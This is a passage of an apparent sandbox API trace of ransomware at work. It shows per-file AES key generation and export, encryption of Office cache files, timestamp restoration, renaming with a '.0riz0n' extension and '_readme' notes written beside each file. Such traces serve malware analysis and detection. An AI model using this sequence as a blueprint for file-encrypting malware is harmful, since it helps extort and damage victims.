dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0065.715] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0065.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0065.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0065.715] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0065.715] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0065.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0065.715] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xecdfa490, dwHighDateTime=0x1d301be)) returned 1 [0065.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0065.715] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0065.715] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0065.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0065.715] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0065.715] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0065.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0065.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0065.716] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0065.716] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0065.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x780) returned 0x1aa3df0 [0065.716] ReadFile (in: hFile=0x1f0, lpBuffer=0x1aa3df0, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1aa3df0*, lpNumberOfBytesRead=0x17af85c*=0x75e, lpOverlapped=0x0) returned 1 [0065.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x780) returned 0x1acf180 [0065.717] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1aa3df0) returned 1 [0065.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x780) returned 0x1aa3df0 [0065.717] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0065.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0065.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb80) returned 0x1acf180 [0065.718] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x75e, dwBufLen=0xb5e | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x760) returned 1 [0065.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0065.718] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0065.718] WriteFile (in: hFile=0x1f0, lpBuffer=0x1aa3df0*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1aa3df0*, lpNumberOfBytesWritten=0x17af85c*=0x75e, lpOverlapped=0x0) returned 1 [0065.718] FlushFileBuffers (hFile=0x1f0) returned 1 [0065.720] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0065.720] NtClose (Handle=0x1f0) returned 0x0 [0065.721] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0065.722] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0065.722] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0065.722] GetLastError () returned 0x2 [0065.722] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed65a8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0065.722] GetLastError () returned 0x2 [0065.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0065.723] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0065.723] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0065.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0065.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0065.724] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0065.724] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3c0b49b0, dwHighDateTime=0x1d59598)) returned 1 [0065.724] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0065.724] NtClose (Handle=0x1f0) returned 0x0 [0065.725] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1aa3df0) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0065.725] CryptDestroyKey (hKey=0x459b38) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0065.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0065.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0065.725] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0065.727] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0065.727] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0065.727] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0065.727] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0065.727] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0065.727] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0065.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0065.727] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0065.727] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0065.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0065.728] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0065.728] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0065.728] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0065.728] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc40b730, dwHighDateTime=0x1d301be)) returned 1 [0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0065.728] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0065.728] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0065.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0065.728] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0065.728] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0065.729] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0065.729] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0065.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265c00) returned 0x2350020 [0065.729] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x265c00, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x265c00, lpOverlapped=0x0) returned 1 [0065.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265c00) returned 0x25c0020 [0065.812] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0065.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265c00) returned 0x2350020 [0065.823] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0065.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0065.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x266000) returned 0x25c0020 [0065.902] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0020*, pdwDataLen=0x17af858*=0x265c00, dwBufLen=0x266000 | out: pbData=0x25c0020*, pdwDataLen=0x17af858*=0x265c10) returned 1 [0065.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265c40) returned 0x2830020 [0065.943] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0065.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0065.964] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0065.964] WriteFile (in: hFile=0x1f0, lpBuffer=0x2830020*, nNumberOfBytesToWrite=0x265c00, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2830020*, lpNumberOfBytesWritten=0x17af85c*=0x265c00, lpOverlapped=0x0) returned 1 [0065.990] FlushFileBuffers (hFile=0x1f0) returned 1 [0065.999] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0065.999] NtClose (Handle=0x1f0) returned 0x0 [0066.035] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.0riz0n")) returned 1 [0066.036] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0066.036] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0066.036] GetLastError () returned 0x2 [0066.036] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed65c8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0066.036] GetLastError () returned 0x2 [0066.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0066.037] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0066.037] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0066.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0066.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0066.038] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0066.038] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3c3ae530, dwHighDateTime=0x1d59598)) returned 1 [0066.038] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0066.038] NtClose (Handle=0x1f0) returned 0x0 [0066.039] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0066.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0066.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0066.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2830020) returned 1 [0066.050] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0066.050] CryptDestroyKey (hKey=0x459b38) returned 1 [0066.050] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0066.050] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0066.050] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0066.050] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0066.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0066.051] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0066.051] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0066.051] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0066.051] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0066.051] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0066.051] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0066.051] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0066.051] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0066.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0066.051] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0066.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0066.052] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0066.052] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0066.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0066.052] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc3e4630, dwHighDateTime=0x1d301be)) returned 1 [0066.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0066.052] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0066.052] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, 